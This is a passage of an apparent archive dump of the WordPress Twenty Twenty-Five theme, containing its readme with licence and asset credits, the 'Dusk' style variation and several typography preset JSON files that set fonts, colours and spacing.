}, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--contrast) 85%, transparent)", "text": "var:preset|color|base" }, "border": { "color": "transparent" } }, "spacing": { "padding": { "bottom": "1rem", "left": "2.25rem", "right": "2.25rem", "top": "1rem" } }, "typography": { "fontSize": "var:preset|font-size|medium" } }, "caption": { "typography": { "fontSize": "var:preset|font-size|small", "lineHeight": "1.4" } }, "h1": { "typography": { "fontSize": "var:preset|font-size|xx-large" } }, "h2": { "typography": { "fontSize": "var:preset|font-size|x-large" } }, "h3": { "typography": { "fontSize": "var:preset|font-size|large" } }, "h4": { "typography": { "fontSize": "var:preset|font-size|medium" } }, "h5": { "typography": { "fontSize": "var:preset|font-size|small", "letterSpacing": "0.5px" } }, "h6": { "typography": { "fontSize": "var:preset|font-size|small", "fontWeight": "700", "letterSpacing": "1.4px", "textTransform": "uppercase" } }, "heading": { "typography": { "fontWeight": "400", "lineHeight": "1.125", "letterSpacing": "-0.1px" } }, "link": { "color": { "text": "currentColor" }, ":hover": { "typography": { "textDecoration": "none" } } } } }, "templateParts": [ { "area": "header", "name": "header", "title": "Header" }, { "area": "header", "name": "vertical-header", "title": "Vertical site header" }, { "area": "header", "name": "header-large-title", "title": "Header with large title" }, { "area": "footer", "name": "footer", "title": "Footer" }, { "area": "footer", "name": "footer-columns", "title": "Footer Columns" }, { "area": "footer", "name": "footer-newsletter", "title": "Footer Newsletter" }, { "area": "uncategorized", "name": "sidebar", "title": "Sidebar" } ], "customTemplates": [ { "name": "page-no-title", "postTypes": ["page"], "title": "Page No Title" } ] } themes/twentytwentyfive/readme.txt000064400000021743152335264760013532 0ustar00=== Twenty Twenty-Five === Contributors: wordpressdotorg Requires at least: 6.7 Tested up to: 7.0 Requires PHP: 7.2 Stable tag: 1.5 License: GPLv2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html == Description == Twenty Twenty-Five emphasizes simplicity and adaptability. It offers flexible design options, supported by a variety of patterns for different page types, such as services and landing pages, making it ideal for building personal blogs, professional portfolios, online magazines, or business websites. Its templates cater to various blog styles, from text-focused to image-heavy layouts. Additionally, it supports international typography and diverse color palettes, ensuring accessibility and customization for users worldwide. == Changelog == = 1.5 = * Released: May 20, 2026 https://wordpress.org/documentation/article/twenty-twenty-five-changelog/#Version_1.5 = 1.4 = * Released: December 2, 2025 https://wordpress.org/documentation/article/twenty-twenty-five-changelog/#Version_1.4 = 1.3 = * Released: July 15, 2025 https://wordpress.org/documentation/article/twenty-twenty-five-changelog/#Version_1.3 = 1.2 = * Released: April 15, 2025 https://wordpress.org/documentation/article/twenty-twenty-five-changelog/#Version_1.2 = 1.1 = * Released: February 11, 2025 https://wordpress.org/documentation/article/twenty-twenty-five-changelog/#Version_1.1 = 1.0 = * Released: November 13, 2024 https://wordpress.org/documentation/article/twenty-twenty-five-changelog/#Version_1.0 == Copyright == Twenty Twenty-Five WordPress Theme, (C) 2024-2026 WordPress.org and contributors. Twenty Twenty-Five is distributed under the terms of the GNU GPL. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. This theme incorporates code from: Twenty Twenty-Four WordPress Theme, (C) 2023 WordPress.org License: GPLv2 or later. License URI: http://www.gnu.org/licenses/gpl-2.0.html This theme bundles the following third-party resources: === Fonts === .ttf files downloaded from fonts.google.com have been converted to .woff2 using https://github.com/google/woff2 Fira Code Font Copyright (c) 2014, The Fira Code Project Authors License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Reference: https://github.com/tonsky/FiraCode Source: https://fonts.google.com/specimen/Fira+Code Manrope Font Copyright (c) 2018 The Manrope Project Authors License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Reference: https://github.com/sharanda/manrope Source: https://fonts.google.com/specimen/Manrope Vollkorn Font Copyright (c) 2005–2018, Friedrich Althausen License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Reference: https://github.com/FAlthausen/Vollkorn-Typeface Source: https://fonts.google.com/specimen/Vollkorn Fira Sans Font Digitized data copyright (c) 2012-2015, The Mozilla Foundation and Telefonica S.A. License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Reference: https://github.com/mozilla/Fira Source: https://fonts.google.com/specimen/Fira+Sans Platypi Font License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Reference: https://github.com/d-sargent/platypi Source: https://fonts.google.com/specimen/Platypi Ysabeau Office Font License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Reference: https://github.com/CatharsisFonts/Ysabeau Source: https://fonts.google.com/specimen/Ysabeau+Office Literata Font License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Reference: https://github.com/googlefonts/literata Source: https://fonts.google.com/specimen/Literata Roboto Slab Font License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Reference: https://github.com/googlefonts/robotoslab Source: https://fonts.google.com/specimen/Roboto+Slab Beiruti Font License: SIL Open Font License, 1.1, https://opensource.org/licenses/OFL-1.1 Reference: https://github.com/googlefonts/beiruti Source: https://fonts.google.com/specimen/Beiruti === Images === Northern Buttercups. Free public domain CC0 image. northern-buttercups-flowers.webp https://www.rawpixel.com/image/8802603 License: CC0 https://creativecommons.org/publicdomain/zero/1.0/ Small totara tree on ridge above Long Point, Porirua Harbour, by Leslie Adkin. Free public domain CC0 image. 404-image.webp https://www.rawpixel.com/image/13029755 Old gray paris map. Free public domain CC0 image. location.webp https://www.rawpixel.com/image/6033837 Delphinium (Larkspur). Free public domain CC0 image. delphinium-flowers.webp https://www.rawpixel.com/image/2224378 Campanula Alliariifolia (Cornish Bellflower). Free public domain CC0 image. campanula-alliariifolia-flower.webp https://www.rawpixel.com/image/2222755 Centaurea Ruthenica(Star Thristle). Free public domain CC0 image. star-thristle-flower.webp https://www.rawpixel.com/image/2211732 Botany flowers. Free public domain CC0 image. botany-flowers.webp botany-flowers-closeup.webp https://www.rawpixel.com/image/8812207 Person typing on a typewriter. Free public domain CC0 image. typewriter.webp https://www.rawpixel.com/image/12240004/photo-image-face-person-technology Woman wearing a traditional nurse's cap, photographed from behind. nurse.webp Free public domain CC0 image. https://www.rawpixel.com/image/8782633/photo-image-person-white Woman splashing water, at Lake George. woman-splashing-water.webp Free public domain CC0 image. https://www.rawpixel.com/image/9758986/photo-image-people-art-vintage Man in hat, standing in front of a building. man-in-hat.webp Free public domain CC0 image. https://www.slam.org/collection/objects/62642/ African Woman by Pascal Sébah and Jean Pascal Sébah Free public domain CC0 image. agenda-img-4.webp https://www.rawpixel.com/image/14263497 Two Girls, Mill Workers by Lewis W Hine. Free public domain CC0 image. link-in-bio-background.webp https://www.rawpixel.com/image/14265869 Cliff Palace, Mesa Verde National Park, Colorado (vertical orientation) Free public domain CC0 image. poster-image-background.webp ruins-image.webp https://www.rawpixel.com/image/8802835 Flower meadow in Llano, Texas. Free public domain CC0 image. coming-soon-bg-image.webp flower-meadow-square.webp services-subscriber-photo.webp https://www.rawpixel.com/image/8800058 Hibiscus flower. Free public domain CC0 image. grid-flower-1.webp red-hibiscus-closeup.webp https://www.rawpixel.com/image/8799471 Phacelia tanacetifolia (Lacy Phacelia) enlarged 4 times from Urformen der Kunst (1928) by Karl Blossfeldt. Free public domain CC0 image. grid-flower-2.webp https://www.rawpixel.com/image/2222743 At Hawaiian Greenhouse, Inc, near Pahoa, anthuriums grow under a sun screen. Free public domain CC0 image. category-anthuriums.webp https://www.rawpixel.com/image/8799473 Sunflower Free public domain CC0 image. category-sunflowers.webp https://www.rawpixel.com/image/8799614 Detail of cactus "Saguaros, Saguro National Monument," Arizona. Photographer: Adams, Ansel, 1902-1984 Free public domain CC0 image. category-cactus.webp https://www.rawpixel.com/image/8799351 Vash Gon - Jicarilla by Edward S Curtis. Free public domain CC0 image. vash-gon-square.webp https://www.rawpixel.com/image/14262822 One of the 40 Or More Species of Coral at John Pennekamp Coral Reef State Park, a Few Miles Off Key Largo. Free public domain CC0 image. coral-square.webp https://www.rawpixel.com/image/8799931 Parthenon op de Akropolis in Athene (westzijde) (c. 1880 - c. 1890) by Rhomaides Frères. Free public domain CC0 image. parthenon-square.webp https://www.rawpixel.com/image/13759051 Near East Dallas Creek, 05/1972. Photographer: Norton, Boyd. Free public domain CC0 image. dallas-creek-square.webp https://www.rawpixel.com/image/8802688 Marshland birds at the Lake Havasu National Wildlife Refuge. Free public domain CC0 image. marshland-birds-square.webp https://www.rawpixel.com/image/8799403 Photograph - New York [Portrait - Washington Square] by Paul Strand. Free public domain CC0 image. hero-podcast.webp https://www.rawpixel.com/image/14264288 Evening Breeze by Asahachi Kono. Free public domain CC0 image. link-in-bio-image https://www.rawpixel.com/image/14262995 Bust by Mathew brady. Free public domain CC0 image. book-image-landing.webp book-image.webp https://www.rawpixel.com/image/8799536 Book template by Beatriz Fialho, public domain. Flora of Akaka Falls State Park. Free public domain CC0 image. akaka-falls-state-park-flora.webp https://www.rawpixel.com/image/8802845 Closeup of plantlife in the Malibu Canyon area of the Santa Monica Mountains. Free public domain CC0 image. malibu-plantlife.webp https://www.rawpixel.com/image/8799918 themes/twentytwentyfive/styles/03-dusk.json000064400000016626152335264760015144 0ustar00{ "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "version": 3, "title": "Dusk", "settings": { "color": { "palette": [ { "color": "#E2E2E2", "name": "Base", "slug": "base" }, { "color": "#3B3B3B", "name": "Contrast", "slug": "contrast" }, { "color": "#F5EDFF", "name": "Accent 1", "slug": "accent-1" }, { "color": "#650DD4", "name": "Accent 2", "slug": "accent-2" }, { "color": "#191919", "name": "Accent 3", "slug": "accent-3" }, { "color": "#5F5F5F", "name": "Accent 4", "slug": "accent-4" }, { "color": "#DBDBDB", "name": "Accent 5", "slug": "accent-5" }, { "color": "#3B3B3B33", "name": "Accent 6", "slug": "accent-6" } ] }, "custom": { "color": { "accent-2-opacity-20": "#650DD433" } }, "typography": { "fontFamilies": [ { "name": "Vollkorn", "slug": "vollkorn", "fontFamily": "Vollkorn, serif", "fontFace": [ { "src": [ "file:./assets/fonts/vollkorn/Vollkorn-Italic-VariableFont_wght.woff2" ], "fontWeight": "400 900", "fontStyle": "italic", "fontFamily": "Vollkorn" }, { "src": [ "file:./assets/fonts/vollkorn/Vollkorn-VariableFont_wght.woff2" ], "fontWeight": "400 900", "fontStyle": "normal", "fontFamily": "Vollkorn" } ] }, { "name": "Fira Code", "slug": "fira-code", "fontFamily": "\"Fira Code\", monospace", "fontFace": [ { "src": [ "file:./assets/fonts/fira-code/FiraCode-VariableFont_wght.woff2" ], "fontWeight": "300 700", "fontStyle": "normal", "fontFamily": "\"Fira Code\"" } ] } ] } }, "styles": { "typography": { "fontFamily": "var:preset|font-family|fira-code", "fontSize": "var:preset|font-size|medium", "letterSpacing": "-0.18px", "lineHeight": "1.5" }, "blocks": { "core/code": { "color": { "text": "var:preset|color|black", "background": "var:preset|color|accent-5" } }, "core/paragraph": { "elements": { "link": { "color": { "text": "var:preset|color|accent-2" } } } }, "core/post-author-name": { "typography": { "fontWeight": "300" }, "color": { "text": "var:preset|color|accent-2" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/post-terms": { "typography": { "fontWeight": "300" }, "color": { "text": "var:preset|color|accent-2" }, "elements": { "link": { "color": { "text": "currentColor" } } } }, "core/post-title": { "typography": { "fontWeight": "400", "letterSpacing": "-0.96px" }, "elements": { "link": { "color": { "text": "var:preset|color|accent-3" } } } }, "core/pullquote": { "color": { "text": "var:preset|color|black" }, "typography": { "fontFamily": "var:preset|font-family|vollkorn", "fontSize": "var:preset|font-size|x-large", "fontWeight": "400" }, "elements": { "cite": { "typography": { "fontFamily": "var:preset|font-family|fira-code", "fontWeight": "300", "letterSpacing": "-0.14px" }, "color": { "text": "var:preset|color|contrast" } } } }, "core/quote": { "color": { "text": "var:preset|color|black" }, "typography": { "fontFamily": "var:preset|font-family|fira-code", "fontWeight": "500", "letterSpacing": "-0.18px" } }, "core/site-title": { "color": { "text": "var:preset|color|accent-3" }, "typography": { "fontFamily": "var:preset|font-family|vollkorn", "fontSize": "var:preset|font-size|x-large" }, "elements": { "link": { "color": { "text": "var:preset|color|accent-3" } } } } }, "elements": { "button": { "typography": { "fontFamily": "var:preset|font-family|fira-code", "fontSize": "var:preset|font-size|medium", "fontWeight": "400", "letterSpacing": "-0.36px" }, "color": { "text": "var:preset|color|base", "background": "var:preset|color|accent-2" }, "border": { "radius": "4px", "color": "transparent" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)" } } }, "heading": { "color": { "text": "var:preset|color|accent-3" }, "typography": { "fontFamily": "var:preset|font-family|vollkorn" } }, "h1": { "typography": { "fontSize": "48px", "letterSpacing": "-0.96px;" } }, "h2": { "typography": { "fontSize": "38px", "letterSpacing": "-0.96px" } }, "h3": { "typography": { "fontSize": "32px", "letterSpacing": "-0.64px" } }, "h4": { "typography": { "fontSize": "28px", "letterSpacing": "-0.56px" } }, "h5": { "typography": { "fontSize": "24px", "letterSpacing": "-0.48px" } }, "link": { "color": { "text": "var:preset|color|accent-3" } } }, "variations": { "post-terms-1": { "elements": { "link": { "border": { "color": "var:custom|color|accent-2-opacity-20", "radius": "4px", "width": "0.8px", "style": "solid" } } } }, "section-1": { "elements": { "link": { "color": { "text": "var:preset|color|accent-3" } } } }, "section-2": { "color": { "text": "var:preset|color|base" }, "elements": { "button": { "color": { "background": "var:preset|color|accent-3", "text": "var:preset|color|base" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-3) 85%, transparent)" } } }, "link": { "color": { "text": "currentColor" } }, "heading": { "color": { "text": "currentColor" } } } }, "section-3": { "color": { "text": "var:preset|color|accent-2" }, "elements": { "heading": { "color": { "text": "currentColor" } } } }, "section-4": { "color": { "text": "var:preset|color|base" }, "elements": { "button": { "color": { "text": "var:preset|color|base" }, ":hover": { "color": { "text": "var:preset|color|base" } } }, "link": { "color": { "text": "currentColor" } }, "heading": { "color": { "text": "currentColor" } } } }, "section-5": { "elements": { "button": { "color": { "background": "var:preset|color|accent-2", "text": "var:preset|color|base" }, ":hover": { "color": { "background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)", "text": "var:preset|color|base" } } }, "heading": { "color": { "text": "var:preset|color|base" } }, "link": { "color": { "text": "var:preset|color|base" } } } } } } } themes/twentytwentyfive/styles/typography/typography-preset-7.json000064400000022611152335264760022025 0ustar00{ "version": 3, "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "title": "Literata & Fira Sans", "slug": "typography-preset-7", "settings": { "typography": { "fontFamilies": [ { "name": "Literata", "slug": "literata", "fontFamily": "Literata, serif", "fontFace": [ { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraLight.woff2" ], "fontWeight": "200", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2" ], "fontWeight": "200", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Light.woff2" ], "fontWeight": "300", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-LightItalic.woff2" ], "fontWeight": "300", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Regular.woff2" ], "fontWeight": "400", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-RegularItalic.woff2" ], "fontWeight": "400", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Medium.woff2" ], "fontWeight": "500", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-MediumItalic.woff2" ], "fontWeight": "500", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-SemiBold.woff2" ], "fontWeight": "600", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2" ], "fontWeight": "600", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Bold.woff2" ], "fontWeight": "700", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-BoldItalic.woff2" ], "fontWeight": "700", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraBold.woff2" ], "fontWeight": "800", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2" ], "fontWeight": "800", "fontStyle": "italic", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-Black.woff2" ], "fontWeight": "900", "fontStyle": "normal", "fontFamily": "Literata" }, { "src": [ "file:./assets/fonts/literata/Literata72pt-BlackItalic.woff2" ], "fontWeight": "900", "fontStyle": "italic", "fontFamily": "Literata" } ] }, { "name": "Fira Sans", "slug": "fira-sans", "fontFamily": "\"Fira Sans\", sans-serif", "fontFace": [ { "src": [ "file:./assets/fonts/fira-sans/FiraSans-Thin.woff2" ], "fontWeight": "100", "fontStyle": "normal", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-ThinItalic.woff2" ], "fontWeight": "100", "fontStyle": "italic", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-ExtraLight.woff2" ], "fontWeight": "200", "fontStyle": "normal", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-ExtraLightItalic.woff2" ], "fontWeight": "200", "fontStyle": "italic", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-Light.woff2" ], "fontWeight": "300", "fontStyle": "normal", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-LightItalic.woff2" ], "fontWeight": "300", "fontStyle": "italic", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-Italic.woff2" ], "fontWeight": "400", "fontStyle": "italic", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-Regular.woff2" ], "fontWeight": "400", "fontStyle": "normal", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-Medium.woff2" ], "fontWeight": "500", "fontStyle": "normal", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-MediumItalic.woff2" ], "fontWeight": "500", "fontStyle": "italic", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-SemiBold.woff2" ], "fontWeight": "600", "fontStyle": "normal", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-SemiBoldItalic.woff2" ], "fontWeight": "600", "fontStyle": "italic", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-Bold.woff2" ], "fontWeight": "700", "fontStyle": "normal", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-BoldItalic.woff2" ], "fontWeight": "700", "fontStyle": "italic", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-ExtraBold.woff2" ], "fontWeight": "800", "fontStyle": "normal", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-ExtraBoldItalic.woff2" ], "fontWeight": "800", "fontStyle": "italic", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-Black.woff2" ], "fontWeight": "900", "fontStyle": "normal", "fontFamily": "\"Fira Sans\"" }, { "src": [ "file:./assets/fonts/fira-sans/FiraSans-BlackItalic.woff2" ], "fontWeight": "900", "fontStyle": "italic", "fontFamily": "\"Fira Sans\"" } ] } ], "fontSizes": [ { "fluid": false, "name": "Small", "size": "0.9rem", "slug": "small" }, { "fluid": { "max": "1.2rem", "min": "0.9rem" }, "name": "Medium", "size": "1rem", "slug": "medium" }, { "fluid": { "max": "1.8rem", "min": "1.2rem" }, "name": "Large", "size": "1.2rem", "slug": "large" }, { "fluid": { "max": "2.2rem", "min": "1.8rem" }, "name": "Extra Large", "size": "1.8rem", "slug": "x-large" }, { "fluid": { "max": "2.8rem", "min": "2rem" }, "name": "Extra Extra Large", "size": "2rem", "slug": "xx-large" } ] } }, "styles": { "typography": { "fontSize": "var:preset|font-size|medium", "fontFamily": "var:preset|font-family|fira-sans", "letterSpacing": "-0.01em", "lineHeight": "1.5" }, "blocks": { "core/post-title": { "typography": { "fontWeight": "200" } }, "core/pullquote": { "typography": { "fontFamily": "var:preset|font-family|literata", "fontWeight": "200", "letterSpacing": "0em" } }, "core/query-pagination": { "typography": { "fontWeight": "300", "letterSpacing": "0px" } }, "core/quote": { "typography": { "fontSize": "var:preset|font-size|medium", "letterSpacing": "-0.01em", "lineHeight": "1.5", "fontWeight": "300" } }, "core/site-title": { "typography": { "fontFamily": "var:preset|font-family|literata", "fontSize": "var:preset|font-size|x-large", "fontWeight": "300", "letterSpacing": "-0.56px", "textTransform": "uppercase" } } }, "elements": { "button": { "typography": { "fontFamily": "var:preset|font-family|literata", "fontSize": "var:preset|font-size|medium", "fontWeight": "400", "letterSpacing": "-0.01em", "textTransform": "uppercase" } }, "heading": { "typography": { "fontFamily": "var:preset|font-family|literata", "fontWeight": "200", "letterSpacing": "-0.02em", "lineHeight": "1.24" } }, "h6": { "typography": { "fontWeight": "200" } } } } } themes/twentytwentyfive/styles/typography/typography-preset-3.json000064400000007341152335264760022024 0ustar00{ "version": 3, "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "title": "Platypi & Ysabeau Office", "slug": "typography-preset-3", "settings": { "typography": { "fontFamilies": [ { "name": "Platypi", "slug": "platypi", "fontFamily": "Platypi", "fontFace": [ { "fontFamily": "Platypi", "fontStyle": "normal", "fontWeight": "300 800", "src": [ "file:./assets/fonts/platypi/Platypi-VariableFont_wght.woff2" ] }, { "fontFamily": "Platypi", "fontStyle": "italic", "fontWeight": "300 800", "src": [ "file:./assets/fonts/platypi/Platypi-Italic-VariableFont_wght.woff2" ] } ] }, { "name": "Ysabeau Office", "slug": "ysabeau-office", "fontFamily": "\"Ysabeau Office\", sans-serif", "fontFace": [ { "src": [ "file:./assets/fonts/ysabeau-office/YsabeauOffice-VariableFont_wght.woff2" ], "fontWeight": "100 900", "fontStyle": "normal", "fontFamily": "\"Ysabeau Office\"" }, { "src": [ "file:./assets/fonts/ysabeau-office/YsabeauOffice-Italic-VariableFont_wght.woff2" ], "fontWeight": "100 900", "fontStyle": "italic", "fontFamily": "\"Ysabeau Office\"" } ] } ], "fontSizes": [ { "fluid": false, "name": "Small", "size": "0.875rem", "slug": "small" }, { "fluid": { "max": "1.125rem", "min": "1rem" }, "name": "Medium", "size": "1rem", "slug": "medium" }, { "fluid": { "max": "1.375rem", "min": "1.125rem" }, "name": "Large", "size": "1.38rem", "slug": "large" }, { "fluid": { "max": "1.8rem", "min": "1.4rem" }, "name": "Extra Large", "size": "1.4rem", "slug": "x-large" }, { "fluid": { "max": "2.6rem", "min": "2rem" }, "name": "Extra Extra Large", "size": "2rem", "slug": "xx-large" } ] } }, "styles": { "typography": { "fontFamily": "var:preset|font-family|ysabeau-office", "letterSpacing": "-0.22px", "lineHeight": "1.5" }, "blocks":{ "core/code": { "typography": { "letterSpacing": "0px" } }, "core/heading": { "typography": { "lineHeight": "1.2" } }, "core/list": { "typography": { "lineHeight": "1.3" } }, "core/loginout": { "typography": { "fontSize": "var:preset|font-size|medium" } }, "core/post-terms": { "typography": { "fontWeight": "400" } }, "core/pullquote": { "typography": { "fontFamily": "var:preset|font-family|platypi", "letterSpacing": "-0.01em", "lineHeight": "1.1" } }, "core/quote": { "typography": { "fontWeight": "300" } }, "core/site-title": { "typography": { "fontFamily": "var:preset|font-family|ysabeau-office", "fontSize": "var:preset|font-size|large", "letterSpacing": "1.44px", "textTransform": "uppercase" } } }, "elements": { "button": { "typography": { "fontFamily": "var:preset|font-family|ysabeau-office", "fontWeight": "600", "letterSpacing": "1.44px", "textTransform": "uppercase" } }, "heading": { "typography": { "fontFamily": "var:preset|font-family|platypi" } }, "h5": { "typography": { "fontSize": "var:preset|font-size|medium", "letterSpacing": "normal" } }, "h6": { "typography": { "fontSize": "var:preset|font-size|small", "fontWeight": "400", "fontStyle": "initial", "letterSpacing": "initial", "textTransform": "initial" } } } } } themes/twentytwentyfive/styles/typography/typography-preset-2.json000064400000006074152335264760022025 0ustar00{ "version": 3, "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "title": "Vollkorn & Fira Code", "slug": "typography-preset-2", "settings": { "typography": { "fontFamilies": [ { "name": "Vollkorn", "slug": "vollkorn", "fontFamily": "Vollkorn, serif", "fontFace": [ { "src": [ "file:./assets/fonts/vollkorn/Vollkorn-Italic-VariableFont_wght.woff2" ], "fontWeight": "400 900", "fontStyle": "italic", "fontFamily": "Vollkorn" }, { "src": [ "file:./assets/fonts/vollkorn/Vollkorn-VariableFont_wght.woff2" ], "fontWeight": "400 900", "fontStyle": "normal", "fontFamily": "Vollkorn" } ] }, { "name": "Fira Code", "slug": "fira-code", "fontFamily": "\"Fira Code\", monospace", "fontFace": [ { "src": [ "file:./assets/fonts/fira-code/FiraCode-VariableFont_wght.woff2" ], "fontWeight": "300 700", "fontStyle": "normal", "fontFamily": "\"Fira Code\"" } ] } ] } }, "styles": { "typography": { "fontFamily": "var:preset|font-family|fira-code", "fontSize": "var:preset|font-size|medium", "letterSpacing": "-0.18px", "lineHeight": "1.5" }, "blocks": { "core/post-author-name": { "typography": { "fontWeight": "300" } }, "core/post-terms": { "typography": { "fontWeight": "300" } }, "core/post-title": { "typography": { "fontWeight": "400", "letterSpacing": "-0.96px" } }, "core/pullquote": { "typography": { "fontFamily": "var:preset|font-family|vollkorn", "fontSize": "var:preset|font-size|x-large", "fontWeight": "400" }, "elements": { "cite": { "typography": { "fontFamily": "var:preset|font-family|fira-code", "fontWeight": "300", "letterSpacing": "-0.14px" } } } }, "core/quote": { "typography": { "fontFamily": "var:preset|font-family|fira-code", "fontWeight": "500", "letterSpacing": "-0.18px" } }, "core/site-title": { "typography": { "fontFamily": "var:preset|font-family|vollkorn", "fontSize": "var:preset|font-size|x-large" } } }, "elements": { "button": { "typography": { "fontFamily": "var:preset|font-family|fira-code", "fontSize": "var:preset|font-size|medium", "fontWeight": "400", "letterSpacing": "-0.36px" } }, "heading": { "typography": { "fontFamily": "var:preset|font-family|vollkorn" } }, "h1": { "typography": { "fontSize": "48px", "letterSpacing": "-0.96px;" } }, "h2": { "typography": { "fontSize": "38px", "letterSpacing": "-0.96px" } }, "h3": { "typography": { "fontSize": "32px", "letterSpacing": "-0.64px" } }, "h4": { "typography": { "fontSize": "28px", "letterSpacing": "-0.56px" } }, "h5": { "typography": { "fontSize": "24px", "letterSpacing": "-0.48px" } } } } } themes/twentytwentyfive/styles/typography/typography-preset-4.json000064400000005676152335264760022036 0ustar00{ "version": 3, "$schema": "https://schemas.wp.org/wp/6.7/theme.json", "title": "Roboto Slab & Manrope", "slug": "typography-preset-4", "settings": { "typography": { "fontFamilies": [ { "name": "Roboto Slab", "slug": "roboto-slab", "fontFamily": "\"Roboto Slab\", serif", "fontFace": [ { "fontFamily": "\"Roboto Slab\"", "fontStyle": "normal", "fontWeight": "100 900", "src": [ "file:./assets/fonts/roboto-slab/RobotoSlab-VariableFont_wght.woff2" ] } ] }, { "name": "Manrope", "slug": "manrope", "fontFamily": "Manrope, sans-serif", "fontFace": [ { "src": [ "file:./assets/fonts/manrope/Manrope-VariableFont_wght.woff2" ], "fontWeight": "200 800", "fontStyle": "normal", "fontFamily": "Manrope" } ] } ], "fontSizes": [ { "fluid": false, "name": "Small", "size": "0.875rem", "slug": "small" }, { "fluid": { "max": "1.125rem", "min": "1rem" }, "name": "Medium", "size": "1rem", "slug": "medium" }, { "fluid": { "max": "1.375rem", "min": "1.125rem" }, "name": "Large", "size": "1.38rem", "slug": "large" }, { "fluid": { "max": "2rem", "min": "1.75rem" }, "name": "Extra Large", "size": "1.75rem", "slug": "x-large" }, { "fluid": { "max": "2.4rem", "min": "2.15rem" }, "name": "Extra Extra Large", "size": "2.15rem", "slug": "xx-large" } ] } }, "styles": { "typography": { "letterSpacing": "0" }, "blocks": { "core/navigation": { "typography": { "fontSize": "var:preset|font-size|large", "letterSpacing": "-0.28px", "textTransform": "uppercase" } }, "core/post-author": { "typography": { "fontSize": "var:preset|font-size|small" } }, "core/post-author-name": { "typography": { "fontSize": "var:preset|font-size|small" } }, "core/post-terms": { "typography": { "fontWeight": "500" } }, "core/pullquote": { "typography": { "fontFamily": "var:preset|font-family|roboto-slab", "fontSize": "var:preset|font-size|xx-large", "fontWeight": "200" } }, "core/search": { "typography": { "textTransform": "uppercase" } }, "core/site-tagline": { "typography": { "fontSize": "var:preset|font-size|large" } }, "core/site-title": { "typography": { "textTransform": "uppercase" } } }, "elements": { "button": { "typography": { "fontWeight": "500", "letterSpacing": "-0.36px", "textTransform": "uppercase" } }, "heading": { "typography": { "fontFamily": 